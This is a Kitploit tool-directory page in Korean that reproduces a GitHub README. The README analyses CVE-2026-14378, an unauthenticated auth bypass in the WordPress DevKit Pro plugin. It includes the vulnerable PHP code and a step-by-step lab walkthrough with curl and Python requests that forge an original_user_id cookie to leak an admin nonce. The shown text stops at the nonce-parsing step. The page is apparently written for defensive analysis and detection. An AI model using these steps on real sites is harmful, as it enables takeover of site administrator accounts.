Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-14378-DevKit-Pro-Auth-Bypass — CVE-2026-14378(WordPress DevKit Pro 플러그인 <= 2.3.0)에 대한 방어적 분석, 패치 분석 및 탐지 스캐너. | Kitploit
도구/GitHubGitHub/anoxhunterdump-ctrl/cve-2026-14378-devkit-pro-auth-bypass
Defensive ToolsVulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
anoxhunterdump-ctrl/cve-2026-14378-devkit-pro-auth-bypass

CVE-2026-14378-DevKit-Pro-Auth-Bypass

CVE-2026-14378(WordPress DevKit Pro 플러그인 <= 2.3.0)에 대한 방어적 분석, 패치 분석 및 탐지 스캐너.

저장소 보기
1일 전아직 검토되지 않음

CVE-2026-14378 — WordPress DevKit Pro 플러그인의 인증되지 않은 인증 우회

Severity: Critical Vulnerability: CWE-287 Affected: <= 2.3.0 Patched: 2.3.1 License: MIT


목차

  1. 요약
  2. 취약점 분석
  3. 근본 원인 및 기술 분석
  4. 전체 공격 워크스루 (단계별)
    • Step 0: 환경 설정
    • Step 1: 플러그인 설치 및 취약 여부 확인
    • Step 2: Nonce 유출 트리거
    • Step 3: Revert-Switch 요청 제출
    • Step 4: 관리자 접근 확인
  5. 스캐너를 이용한 탐지
    • 취약 상태 출력
    • 패치된 상태 출력
  6. 위협 모델링 — 악용 가능한 방식
  7. 패치 Diff 분석
  8. 침해 지표 (IoCs)
  9. 완화 조치
  10. 스캐너 사용법
  11. 면책 조항

요약

CVE-2026-14378은 WordPress용 DevKit Pro 플러그인의 치명적인 인증되지 않은 인증 우회(CVSS 9.8) 취약점으로, 2.3.0 이하의 모든 버전에 영향을 미칩니다.

이 플러그인에는 개발자용 사용자 전환 메커니즘이 포함되어 있습니다. 관리자가 다른 사용자 계정으로 "전환"하면, 관리자의 ID를 original_user_id라는 쿠키에 저장합니다. 결함은 다음과 같습니다: 플러그인은 해당 쿠키가 존재할 때마다 모든 페이지에서 "switch back" HTML 폼을 렌더링합니다 — 쿠키를 수동으로 설정한 인증되지 않은 방문자에게도 마찬가지입니다. 더 심각한 것은, nonce 검증 단계가 호출자의 세션이 아니라 쿠키 사용자의 관리자 권한을 확인한다는 점입니다 — 따라서 서버는 올바른 POST를 전송하는 누구에게나 인증된 관리자 세션 쿠키를 기꺼이 발급합니다.

최종 결과: 완전한 WordPress 관리자 탈취에 자격 증명이 전혀 필요하지 않습니다.


취약점 분석

속성세부 정보
CVE IDCVE-2026-14378
취약점 분류부적절한 인증 (CWE-287)
CVSS v3.1 점수9.8 (치명적)
CVSS 벡터CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
영향받는 소프트웨어DevKit Pro (dplugins) WordPress 플러그인
취약한 버전<= 2.3.0
패치된 버전2.3.1
공개 날짜2026년 10월 2일

근본 원인 및 기술 분석

1. 사용자 전환 기능의 작동 방식 (정상 흐름)

DevKit Pro에는 사이트 관리자가 권한을 테스트하기 위해 다른 사용자 계정으로 "전환"할 수 있게 해주는 개발자 도우미 기능이 포함되어 있습니다. 관리자가 전환을 사용하면:

  1. 플러그인이 관리자의 ID를 쿠키에 저장합니다: Set-Cookie: original_user_id=1
  2. 이후 페이지 로드 시 플러그인이 isset($_COOKIE['original_user_id'])를 확인합니다
  3. 쿠키가 존재하면 wp_footer()에서 새로운 nonce가 포함된 숨겨진 POST 폼과 함께 "Switch Back" 툴바를 렌더링합니다
  4. 관리자가 "Switch Back"을 클릭하면 폼이 admin-post.php?action=revert_switch로 POST됩니다
  5. 플러그인이 nonce를 검증한 후 wp_set_auth_cookie($user_id)를 호출하여 원래 세션을 복원합니다

2. 취약한 코드 경로

wp_footer 훅 핸들러:

// DevKit Pro <= 2.3.0 — render_switch_back_bar()
public function render_switch_back_bar() {
    // FLAW: Only checks if cookie exists — no session validation!
    if ( isset( $_COOKIE['original_user_id'] ) ) {
        $user_id = (int) $_COOKIE['original_user_id'];
        $nonce   = wp_create_nonce( 'devkit_revert_switch_' . $user_id );
        echo '<div id="devkit-pro-switch-back" class="devkit-switch-bar" style="display:none;">';
        echo '  <form id="devkit-revert-form" action="' . admin_url('admin-post.php') . '" method="POST">';
        echo '    <input type="hidden" name="action" value="revert_switch" />';
        echo '    <input type="hidden" name="_wpnonce" value="' . $nonce . '" />';
        echo '    <input type="hidden" name="target_user_id" value="' . $user_id . '" />';
        echo '  </form>';
        echo '</div>';
        echo '<!-- DevKit Pro 2.3.0 Switch Component Active -->';
    }
}

양식 제출을 처리하는 POST 핸들러:

// DevKit Pro <= 2.3.0 — handle_revert_switch()
public function handle_revert_switch() {
    $user_id = (int) $_POST['target_user_id'];
    $nonce   = sanitize_text_field( $_POST['_wpnonce'] );

    if ( ! $this->verify_nonce_and_capability( $user_id, $nonce ) ) {
        wp_die( 'Unauthorized' );
    }

    wp_set_current_user( $user_id );
    wp_set_auth_cookie( $user_id );        // <-- Grants authenticated session to caller
    wp_redirect( admin_url() );
    exit;
}

private function verify_nonce_and_capability( $user_id, $nonce ) {
    if ( ! wp_verify_nonce( $nonce, 'devkit_revert_switch_' . $user_id ) ) {
        return false;
    }
    // CRITICAL FLAW: Checks the cookie user's capability, not the caller's!
    return user_can( $user_id, 'manage_options' );
}

3. 검사가 실패하는 이유

user_can( $user_id, 'manage_options' )는 다음 질문에 답한다: "사용자 #1이 manage_options 권한을 가지고 있는가?"
사용자 #1(가장 먼저 생성된 WordPress 관리자)에 대한 답은 항상 true이다.

이것은 다음과 같이 물어야 한다: "이 HTTP 요청을 보내는 사람이 manage_options 권한을 가지고 있는가?"
올바른 검사는 current_user_can('manage_options')이며, 이는 인증되지 않은 방문자에 대해 false를 반환한다.


전체 공격 워크스루 (단계별)

이 전체 워크스루는 DevKit Pro 2.3.0이 활성화된 로컬 Podman 컨테이너(http://localhost:8080)에서 실행 중인 실제 WordPress 인스턴스에 대해 수행되고 검증되었다.

단계 0: 환경 설정

로컬에서 이를 재현하려면 다음이 필요하다:

  • Docker 또는 Podman
  • WordPress (최근 버전 아무거나)
  • DevKit Pro 플러그인 버전 <= 2.3.0 설치 및 활성화

빠른 Podman 랩 설정:

# Start MariaDB
podman run -d --name wp-db \
  -e MYSQL_ROOT_PASSWORD=rootpass \
  -e MYSQL_DATABASE=wordpress \
  -e MYSQL_USER=wpuser \
  -e MYSQL_PASSWORD=wppass \
  mariadb:10.6

# Start WordPress
podman run -d --name wp-app \
  -p 8080:80 \
  --link wp-db:mysql \
  -e WORDPRESS_DB_HOST=mysql \
  -e WORDPRESS_DB_NAME=wordpress \
  -e WORDPRESS_DB_USER=wpuser \
  -e WORDPRESS_DB_PASSWORD=wppass \
  wordpress:latest

WordPress가 초기화된 후(http://localhost:8080/wp-admin/install.php), 플러그인 메뉴를 통해 DevKit Pro 2.3.0을 설치하고 활성화합니다.


1단계: 플러그인 설치 및 취약 여부 확인

공격 페이로드를 전송하기 전에, 플러그인이 존재하는지 확인하고 플러그인 readme를 가져와 버전을 판별합니다:

요청:

GET /wp-content/plugins/devkit-pro/readme.txt HTTP/1.1
Host: localhost:8080

응답 (HTTP 200):

=== DevKit Pro ===
Requires at least: 5.0
Tested up to: 6.8
Requires PHP: 7.4
Stable tag: 2.3.0
License: GPLv2 or later

버전 2.3.0은 영향을 받는 범위 <= 2.3.0에 포함됩니다. 진행합니다.

서버가 HTTP 404를 반환하면, 플러그인이 설치되지 않았거나 경로가 변경된 것이므로 이 대상은 이 벡터를 통해서는 취약하지 않습니다.


Step 2: Nonce 유출 트리거

original_user_id 쿠키를 1(초기 관리자의 사용자 ID)로 설정한 상태에서 임의의 WordPress 페이지에 GET 요청을 보냅니다:

요청:

GET /wp-login.php HTTP/1.1
Host: localhost:8080
Cookie: original_user_id=1

curl을 사용할 수 있습니다:

curl -v -H "Cookie: original_user_id=1" http://localhost:8080/wp-login.php

또는 Python(requests 라이브러리):

import requests

url    = "http://localhost:8080/wp-login.php"
cookie = {"original_user_id": "1"}

resp   = requests.get(url, cookies=cookie)
print(resp.text)

서버가 반환하는 내용 (실제 HTTP 응답 본문에서 발췌):

<div id="devkit-pro-switch-back" class="devkit-switch-bar" style="display:none;">
    <form id="devkit-revert-form" action="http://localhost:8080/wp-admin/admin-post.php" method="POST">
        <input type="hidden" name="action" value="revert_switch" />
        <input type="hidden" name="_wpnonce" value="756081f907" />
        <input type="hidden" name="target_user_id" value="1" />
    </form>
</div>
<!-- DevKit Pro 2.3.0 Switch Component Active -->

서버는 다음을 수행했습니다:

  1. 인증되지 않은 요청을 "switch session"으로 수락했습니다
  2. 새롭고 유효한 WordPress nonce(756081f907)를 생성했습니다
  3. admin-post.php?action=revert_switch를 가리키는 숨겨진 폼에 이를 삽입했습니다

_wpnonce 숨겨진 입력에서 nonce 값을 추출하세요 — 이것이 다음 단계의 열쇠입니다.

Python으로 nonce 파싱하기:

from bs4 import BeautifulSoup
도구 다운로드